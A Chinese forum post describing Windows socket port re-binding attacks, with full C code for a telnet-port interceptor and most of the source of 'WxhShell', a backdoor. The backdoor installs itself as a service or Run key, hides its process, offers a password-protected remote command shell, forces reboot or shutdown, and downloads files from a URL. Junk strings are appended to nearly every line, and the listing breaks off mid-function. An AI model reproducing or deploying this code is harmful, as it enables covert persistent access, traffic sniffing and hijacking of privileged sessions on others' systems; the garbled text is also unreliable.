社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14529阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3Zg=ZnF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i_g="^  
qMYR\4"$  
  saddr.sin_family = AF_INET; ^T'+dGU`  
~] Mq'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ({D.oS  
(HLy;^#R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %s$_KG!&  
\F,?ptu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OTtSMO  
N rVQK}%K  
  这意味着什么?意味着可以进行如下的攻击: N\H{p %8  
./kmI#gaV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mp75L5  
Bx E1Ky8@A  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :*t v`:;p  
BdUhFN*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5<IUTso5h  
/.'1i4Xa1P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W~W^$A  
)_+"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F"hi2@/TI  
PNT.9 *d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '7>Vmr 6  
tRbZ^5x\@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1}S_CR4XBs  
;}f%bE  
  #include ?jw)%{iKYV  
  #include TW3:Y\p  
  #include Aplqx vth  
  #include    "R*B~73  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v8*ZwF  
  int main() NXeo&+F  
  { qFUpvTe  
  WORD wVersionRequested; )yJeh  
  DWORD ret; UeHS4cW  
  WSADATA wsaData; b@1QE  
  BOOL val; #l;Ekjfz  
  SOCKADDR_IN saddr; "%f>/k;!h.  
  SOCKADDR_IN scaddr; W\} VZY  
  int err; Q2 rZMK  
  SOCKET s; / 6gRoQ%j  
  SOCKET sc; DVTzN(gO*~  
  int caddsize; Q7=J[,V:2  
  HANDLE mt; ~d{E>J77j  
  DWORD tid;   ^D.B^BR  
  wVersionRequested = MAKEWORD( 2, 2 ); v Z]gb$  
  err = WSAStartup( wVersionRequested, &wsaData ); ~PlwPvWo  
  if ( err != 0 ) { \Z+v\5nmO  
  printf("error!WSAStartup failed!\n"); WM@uxe,  
  return -1; ni%^w(J3Q  
  } @~63%6r#4M  
  saddr.sin_family = AF_INET; <mm}IdH  
   (Nik( Oyj"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m};_\Db`  
i"e) LJz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .}Zmqz[  
  saddr.sin_port = htons(23); p{-1%jQ}]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l^Lg"m2  
  { klch!m=d  
  printf("error!socket failed!\n"); n Isi  
  return -1; DV%tby  
  } x_@ev-  
  val = TRUE; ?` `+OH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D!Gm9Pa}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U| N`X54  
  { |f>y"T+1  
  printf("error!setsockopt failed!\n"); d!gm4hQhl  
  return -1; cnIy*!cJs  
  } T8KhmO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s-C.+9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]&r/H17  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JI*ikco-  
ol YSr .Q`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 72{kig9c  
  { tNUcmiY  
  ret=GetLastError(); J]~fv9~P  
  printf("error!bind failed!\n"); @DUdgPA  
  return -1; DC$ S. {n  
  } n!N;WL3k  
  listen(s,2); jOuv\$  
  while(1) h:GOcLYM@X  
  { C>MoR3]  
  caddsize = sizeof(scaddr); W*s`1O>  
  //接受连接请求 z$<6;2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {jc~s~<#  
  if(sc!=INVALID_SOCKET) &FZe LIt  
  { b%_QL3 m6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N%_~cR;  
  if(mt==NULL) +<q^[<pS  
  { , m\0IgZdz  
  printf("Thread Creat Failed!\n"); PIrUls0}  
  break; K9P"ncMt  
  } 3jn@ [ m  
  } D!<$uAT  
  CloseHandle(mt); Bdg*XfXXk  
  } G|MDo|q]  
  closesocket(s); >3kR~:;  
  WSACleanup(); RXof$2CZS  
  return 0; RSi0IfG5  
  }   K;97/"  
  DWORD WINAPI ClientThread(LPVOID lpParam) #0P<#S^7  
  { -j$l@2g  
  SOCKET ss = (SOCKET)lpParam; XnY}dsS O  
  SOCKET sc; FvNO*'xP  
  unsigned char buf[4096]; |l? ALP_g  
  SOCKADDR_IN saddr; 'wZy: c  
  long num; $Us@fJr  
  DWORD val; 2l SM`cw  
  DWORD ret; XH2 SEeh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5ya3mN E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $ i&$ZdX  
  saddr.sin_family = AF_INET; 4l1=l#\S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZB2'm3'bh  
  saddr.sin_port = htons(23); KALg6DZe:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?% X9XH/!  
  { h@~X*yLKh  
  printf("error!socket failed!\n"); Q)@1:(V/  
  return -1; 9j2I6lGQ  
  } 0B4(t6o  
  val = 100; 6C0_. =7#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A{J1 n  
  { B0 I?  
  ret = GetLastError(); 6uXW`/lvX  
  return -1; 5 muW*7  
  } {l11WiqQH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YKg[k:F  
  { L@_">' pR  
  ret = GetLastError(); L@4zuzmlb  
  return -1; `eWc p^|  
  } by U\I5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SN{*:\>,  
  { f0`' i[  
  printf("error!socket connect failed!\n"); m3(T0.j0P  
  closesocket(sc); mCt>s9a)H  
  closesocket(ss); U&n>fXTHn  
  return -1; ;F""}wzn  
  } ZQkw}3*n  
  while(1) UBi4itGD  
  { ]jb4Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AMd)d^;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T{<@MK%],d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :2pBv#\"qk  
  num = recv(ss,buf,4096,0); `,Nn4  
  if(num>0) i+[3o@  
  send(sc,buf,num,0); -p.*<y  
  else if(num==0) k<| l \]w  
  break; ?a>7=)%AH  
  num = recv(sc,buf,4096,0); b'1d<sD  
  if(num>0) S9NN.dKu  
  send(ss,buf,num,0); 3> #mO}\  
  else if(num==0) HQ3`:l  
  break; R2O.}!'  
  } -t 6R!ZI  
  closesocket(ss); 6rQpK&Jx  
  closesocket(sc); kr(<Y|  
  return 0 ; 7+a%ehwU  
  } I26gGp  
[-t> G!)  
`MsYgd  
========================================================== iEpq*Qj  
! F <] T  
下边附上一个代码,,WXhSHELL J`q}Ry;   
Ww96|m  
========================================================== Ok>(>K<r  
`cP'~OT  
#include "stdafx.h" gXu^"  
lW$&fuDHF  
#include <stdio.h> @mx$sNDkL  
#include <string.h> $}nh[@  
#include <windows.h> qggk:cN1  
#include <winsock2.h> QM ZUt  
#include <winsvc.h> qEJ8o.D-=  
#include <urlmon.h> O<1vSav!K  
gr>o E#7  
#pragma comment (lib, "Ws2_32.lib") l+2cj?X  
#pragma comment (lib, "urlmon.lib") 7w Q+giu  
R6!cK[e]4  
#define MAX_USER   100 // 最大客户端连接数 ^m_^  
#define BUF_SOCK   200 // sock buffer @0z0m;8  
#define KEY_BUFF   255 // 输入 buffer #P%1{l5m  
1BMB?I  
#define REBOOT     0   // 重启 Or+*q91j  
#define SHUTDOWN   1   // 关机 =_RcoG/^~  
N^\2 _T  
#define DEF_PORT   5000 // 监听端口 u  m: 0y,  
$_RWd#Q(  
#define REG_LEN     16   // 注册表键长度 GsIwY {d  
#define SVC_LEN     80   // NT服务名长度 DB`$Ru@  
9q1HSJ1)  
// 从dll定义API E-)VPZ1D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZU|6jI}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ }E-~I>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IvTzPPP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vvm=MBgN  
QqiJun_m  
// wxhshell配置信息 VYamskK[G:  
struct WSCFG { !%c{+]g  
  int ws_port;         // 监听端口 K`QOU-M@}  
  char ws_passstr[REG_LEN]; // 口令 RpO@pd m  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7R9nMGJ@  
  char ws_regname[REG_LEN]; // 注册表键名 5: daa  
  char ws_svcname[REG_LEN]; // 服务名 R:'Ou:Mh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )MWUS;O<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A%Bgp?B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [1{SY=)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qoC]#M$oo#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qzA`d 5rX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C8IkpAD  
YV/>8*i  
}; v7i^O`{eD?  
D W/1 =3  
// default Wxhshell configuration J~Cc9"(  
struct WSCFG wscfg={DEF_PORT, E/mubA(&  
    "xuhuanlingzhe", ?YF${  
    1, $#%U\mI z  
    "Wxhshell",  hv+|s(  
    "Wxhshell", 4q>7OB:e  
            "WxhShell Service", (O\U /daB  
    "Wrsky Windows CmdShell Service", \  Md 3  
    "Please Input Your Password: ", Fe!D%p Qv  
  1, ^WE4*.(  
  "http://www.wrsky.com/wxhshell.exe", +|y*}bG  
  "Wxhshell.exe" |K L')&"  
    }; GX4QaT%  
Z_H?WGO  
// 消息定义模块 @#RuSc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rn`ld@=p[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'lJEHz\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?X\3&Ujy$  
char *msg_ws_ext="\n\rExit."; 'X7%35Y  
char *msg_ws_end="\n\rQuit."; >i "qMZ  
char *msg_ws_boot="\n\rReboot..."; =p <?Hu  
char *msg_ws_poff="\n\rShutdown..."; lVPOYl%  
char *msg_ws_down="\n\rSave to "; 9G0D3F  
*GQDfs`m  
char *msg_ws_err="\n\rErr!"; pzp,t(%j  
char *msg_ws_ok="\n\rOK!"; &+ KyPY+  
t3PtKgP-6  
char ExeFile[MAX_PATH]; d1v<DU>M  
int nUser = 0; L}'Yd'  
HANDLE handles[MAX_USER]; &&=[Ivv  
int OsIsNt; hAm/mu  
4/S=5r}  
SERVICE_STATUS       serviceStatus; Hd9XfU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ju!(gh  
[r)e P({  
// 函数声明 +l`65!"  
int Install(void); dsJm>U)  
int Uninstall(void); N0i!l|G6  
int DownloadFile(char *sURL, SOCKET wsh); w OI^Q~  
int Boot(int flag); .it#`Yz;  
void HideProc(void); vCw<G6tD  
int GetOsVer(void); UuU/c-.  
int Wxhshell(SOCKET wsl); E<tK4?i"  
void TalkWithClient(void *cs); F^QQ0h]2  
int CmdShell(SOCKET sock); {~SaRB2<'  
int StartFromService(void); E<>*(x/\e  
int StartWxhshell(LPSTR lpCmdLine); A{# Nwd>  
"(v%1tGk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iPq &Y*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hoa7   
zN#*G i'  
// 数据结构和表定义  UXT p  
SERVICE_TABLE_ENTRY DispatchTable[] = ~C-,G"zw&G  
{ )VSwT x&  
{wscfg.ws_svcname, NTServiceMain}, +TK3{5`!Ae  
{NULL, NULL} NYwR2oX  
}; G8nrdN-9  
.`jo/,?+O  
// 自我安装 F]UQuOR)  
int Install(void) ';0 qj$ #  
{ glj7$  
  char svExeFile[MAX_PATH]; O*[{z)M.  
  HKEY key; _]b3,% 2  
  strcpy(svExeFile,ExeFile); `lO(s%HC  
=<c#owe:m  
// 如果是win9x系统,修改注册表设为自启动 Xa," 'r  
if(!OsIsNt) { ~. YWV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z:*@5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j%L&jH 6@  
  RegCloseKey(key); fmfTSN(Q~`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VIC0}LT0R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z&Y=`GOI  
  RegCloseKey(key); $<nCXVqL,  
  return 0; %@Oma  
    } & $'z  
  } \8S ~c8Z~  
} '$G"[ljr  
else { aZ Xmlq  
20b<68h$:  
// 如果是NT以上系统,安装为系统服务 Fk "Ee&H)(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~ Vw9  
if (schSCManager!=0) k1^\|   
{ LJFG0 W  
  SC_HANDLE schService = CreateService Ej=3/RBsV  
  ( Tlq-m2]  
  schSCManager, 'm3t|:nMU  
  wscfg.ws_svcname, !ErH~<f%K  
  wscfg.ws_svcdisp, 6KHN&P  
  SERVICE_ALL_ACCESS, R\mR$\cS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  x}TS  
  SERVICE_AUTO_START, p8}(kHUp(  
  SERVICE_ERROR_NORMAL, QSw<%pcJE@  
  svExeFile, ht=P\E  
  NULL, ! }f1`/   
  NULL, g13 rx%-  
  NULL, mO*^1  
  NULL, ehNzDr\s  
  NULL tz^/J=)"  
  ); Y^KTkS0D  
  if (schService!=0) uR;gVO+QC  
  { #m<tJnEO  
  CloseServiceHandle(schService); M;w?[yEZ  
  CloseServiceHandle(schSCManager); :~F:/5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 59r_#(uo  
  strcat(svExeFile,wscfg.ws_svcname); K+Y^>N4m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -d+aV1n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `F t]MR  
  RegCloseKey(key); h.eM RdlO  
  return 0; @L/o\pvc  
    } @I`C#~  
  } R=Zn -q  
  CloseServiceHandle(schSCManager); 7F^#o-@=J  
} fu[K".  
} 2I/xJ+  
$e1=xSQp4  
return 1; Cx<0 H  
} l<g5yYyf  
0 B@n{PvR0  
// 自我卸载 80b;I|-T,  
int Uninstall(void) \1"'E@+  
{ /E;y,o75  
  HKEY key; d}'U?6 ob  
h `}}  
if(!OsIsNt) { r]@0eb   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /ID3s`D)  
  RegDeleteValue(key,wscfg.ws_regname); Z@a9mFI?  
  RegCloseKey(key); E/M_lvQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KRAcnY;u  
  RegDeleteValue(key,wscfg.ws_regname); =GlVccc  
  RegCloseKey(key); (8$k4`T>  
  return 0; 1MlUG5  
  } !RB)_7  
} <"N_j]wD  
} s m,VYYs  
else { 4y:]DC"  
E>b2+;Jv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9,uhf b^]  
if (schSCManager!=0) Vj<:GRNQ,d  
{ e^p +1-B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N|N3x7=gs  
  if (schService!=0) MP Z3D9  
  { v ^[39*8  
  if(DeleteService(schService)!=0) { 3E3U /K  
  CloseServiceHandle(schService); sUZX }  
  CloseServiceHandle(schSCManager); [^CV>RuO  
  return 0; [.se|]t7X  
  } Od+6 -J  
  CloseServiceHandle(schService); [x=jH>Y  
  } Kl7WQg,XOi  
  CloseServiceHandle(schSCManager); PyVC}dUAX  
} \B F*m"lz  
} 1"Z@Q`}  
j /=i Mq  
return 1; CTX9zrY*T  
} A?_=K  
ZkL8e  
// 从指定url下载文件 dQoYCS}IaV  
int DownloadFile(char *sURL, SOCKET wsh) 4[Z\ ?[  
{ glDcUCF3  
  HRESULT hr; v+p {|X-  
char seps[]= "/"; 0a8/B>  
char *token; {3;AwhN0H  
char *file; rX_@Ihv'  
char myURL[MAX_PATH]; X%z }VA  
char myFILE[MAX_PATH]; +$4(zP s@  
L,y6^J!  
strcpy(myURL,sURL); Z^ }mp@j>  
  token=strtok(myURL,seps); =q N2Xg/  
  while(token!=NULL) bvfk  
  { mc=LP>uoS  
    file=token; DPi_O{W>  
  token=strtok(NULL,seps); 5T sUQc  
  } HeBcT^a  
*6HTV0jv  
GetCurrentDirectory(MAX_PATH,myFILE); COH<Tj  
strcat(myFILE, "\\"); J>fQNW!{  
strcat(myFILE, file); +"9hWb5  
  send(wsh,myFILE,strlen(myFILE),0); g^*<f8 ~d  
send(wsh,"...",3,0); ;^t{Il'j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N0hE4t  
  if(hr==S_OK) dJ$"l|$$  
return 0; fXrXV~'8  
else 93t9^9  
return 1; _|h8q-[3  
/mo(_  
} s4&^D<  
h-iJlm  
// 系统电源模块 ~y=T5wt  
int Boot(int flag) Kw#so; e  
{ P[s8JDqu  
  HANDLE hToken; +P.+_7+:  
  TOKEN_PRIVILEGES tkp; ^C2\`jLMY  
U,nEbKJgk  
  if(OsIsNt) {  KWLbD#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X,9 M"E 2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v<Bynd-  
    tkp.PrivilegeCount = 1; y% :4b@<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2]%h$f+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bl=tYp|a  
if(flag==REBOOT) { 9UvXC)R1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eQQ>  
  return 0; ^CwR!I.D}4  
} [+qCs7'  
else { bn |zl!Pq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oK 6(HF'&  
  return 0; f/CuE%7BR  
} 4CGPO c  
  } o|jIM9/  
  else { 2<M= L1\  
if(flag==REBOOT) { AT5aDEb^^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c-.t>r &  
  return 0; K~ ;45Z2  
} 1S@vGq}  
else { {Zp\^/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) as J)4ema  
  return 0; L(X6-M:  
} KK@.~'d  
} ca+[0w@S  
Z@hD(MS(C  
return 1; m&|`x  
} 7FRmx 4(!  
IIq1\khh  
// win9x进程隐藏模块 fGmT_C0t  
void HideProc(void) ,t1abp{A  
{ ou %/l4dC  
[s<^&WM/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L~s3b  
  if ( hKernel != NULL ) !UFfsNiXZ  
  { 8Jz:^k:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wb S4pdA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fxgr`nC  
    FreeLibrary(hKernel); mFHH515  
  } `5H$IP1XhA  
y-CX}B#j  
return; "?| > btr  
} o/ui)U_   
Y#g4$"G9  
// 获取操作系统版本 \W%UZs  
int GetOsVer(void)  ,m,)I  
{ NH3cq  
  OSVERSIONINFO winfo; _'#x^D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `9 {mr<  
  GetVersionEx(&winfo); [e1S^pI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s|D>-  
  return 1; W\18{mbuy  
  else (ND4Q[*6  
  return 0; j;+?HbL  
} Y"KE7>Jf  
umdG(osR  
// 客户端句柄模块 T~b>B`_  
int Wxhshell(SOCKET wsl) s`#(   
{ v!%5&: c3  
  SOCKET wsh; %Ts PyiYl  
  struct sockaddr_in client; [CAR[ g&  
  DWORD myID; Q:$Zy  
$Y 7c  
  while(nUser<MAX_USER) {W##^L~  
{ X6^},C'E.:  
  int nSize=sizeof(client); 8Dvazg}4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @u1zB:  
  if(wsh==INVALID_SOCKET) return 1; v(p mI b{  
]^6c8sgnR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;U_QvN|  
if(handles[nUser]==0) +S=Rn,  
  closesocket(wsh); vVE7fq3  
else Kt(-@\)!  
  nUser++; 6)BR+U  
  } J+f!Ar  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WKSPBT;  
"]\+?  
  return 0; mA{~Pp Sb  
} [xKd7"d/n  
iPrLwheb  
// 关闭 socket N:9>dpP}O  
void CloseIt(SOCKET wsh) #]'rz,E<  
{ san,|yrMn  
closesocket(wsh); r#6_]ep}<'  
nUser--; w;l<[q?_  
ExitThread(0); &hk-1y9QS  
} [}fv  dW  
n3sUbs;  
// 客户端请求句柄 ek N' k  
void TalkWithClient(void *cs) |`jjHuQ;  
{ Zy09L}59P  
r/*=%~*  
  SOCKET wsh=(SOCKET)cs; oP4GEr  
  char pwd[SVC_LEN]; xai4pF-?  
  char cmd[KEY_BUFF]; 2W$cFC  
char chr[1]; TXZv2P9  
int i,j; \Vl`YYjZ  
Jnv@.  
  while (nUser < MAX_USER) { |c`w'W?C6  
>,DbNmi  
if(wscfg.ws_passstr) { (L`j0kPN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;m2<eS`o'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TFuR@KaBR  
  //ZeroMemory(pwd,KEY_BUFF); b?eu jxqg  
      i=0; _ A 0w[n  
  while(i<SVC_LEN) { j;Z?WXWD h  
bz | D-.  
  // 设置超时 [g2;N,V#  
  fd_set FdRead; `ImE% r!  
  struct timeval TimeOut; 'fL"txW  
  FD_ZERO(&FdRead); 5MSB dO  
  FD_SET(wsh,&FdRead); ce6__f 5?  
  TimeOut.tv_sec=8; C R|lt  
  TimeOut.tv_usec=0; ,$eK-w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K x~|jq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A7c/N=Cp^  
pNRk.m]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "gD-8C3  
  pwd=chr[0]; %r+vSGt;5  
  if(chr[0]==0xd || chr[0]==0xa) { |$7vI&m  
  pwd=0; J6jwBo2m  
  break; u~)`&1{%  
  } Y\0}R,]a-  
  i++; pZU9^Z?~6  
    } ci+tdMA  
<ioO,oS'  
  // 如果是非法用户,关闭 socket F H1Z 2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |g3?y/l  
} >YUoh-]`  
rhL"i^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,E.' o=Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ] 7 _`]7p  
M,5"b+mX[~  
while(1) { sZLT<6_B  
?,yj")+  
  ZeroMemory(cmd,KEY_BUFF); cr;g5C V  
21(p|`X  
      // 自动支持客户端 telnet标准   sFBneBub  
  j=0; Dk5Zh+^  
  while(j<KEY_BUFF) { %e@HZ"V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |!F5.%PY  
  cmd[j]=chr[0]; !@'%G6:.  
  if(chr[0]==0xa || chr[0]==0xd) { 6K-5g/hL  
  cmd[j]=0; BW,mwq  
  break; iS?42CV  
  } x}twsc`  
  j++; [V 8{b{  
    } Nl' )l"  
"}Me}S<  
  // 下载文件 .] `f,^v<c  
  if(strstr(cmd,"http://")) { @JW@-9/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ` }3qhar  
  if(DownloadFile(cmd,wsh)) yAN=2fZm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G"T',~  
  else Z;h<6[(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A*|cdY]HP  
  } [le)P$#z  
  else { &gI~LP  
Ssk}e=]  
    switch(cmd[0]) { V i&*&"q  
  7$rjlVe  
  // 帮助 |X`/  
  case '?': { +78CvjG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !pJeA)W;  
    break; * 9p |HX=  
  } S"wg2X<  
  // 安装 .Q)|vq^  
  case 'i': { /cZ-tSC)o  
    if(Install()) cT\I[9! )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _GKB6e%  
    else x 2QIPUlf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oBUxKisW  
    break; )a3IQrf=  
    } IL_d:HF|1  
  // 卸载 ;sch>2&ZWU  
  case 'r': { ejA%%5q  
    if(Uninstall()) Er k?}E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<TD/1wN  
    else GHQ;hN:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &P,^.'  
    break; ?X&6M;Zi  
    } W>b(Om_%  
  // 显示 wxhshell 所在路径 MC&\bf  
  case 'p': { _sy'.Fo  
    char svExeFile[MAX_PATH]; H_?o-L?+  
    strcpy(svExeFile,"\n\r"); CU7F5@+  
      strcat(svExeFile,ExeFile); ^2wLxXO6  
        send(wsh,svExeFile,strlen(svExeFile),0); VxzkQ}o  
    break; $v8l0JA *  
    } H\ 1qI7N C  
  // 重启  KQ[!o!%  
  case 'b': { =H<0o?8?c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JCY~W=;v  
    if(Boot(REBOOT)) MZ+e}|!4,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N0>0z]4;q  
    else { [Ei1~n)o  
    closesocket(wsh); DKVT(#@T  
    ExitThread(0); Ys8SDlMo  
    } *z'yk*  
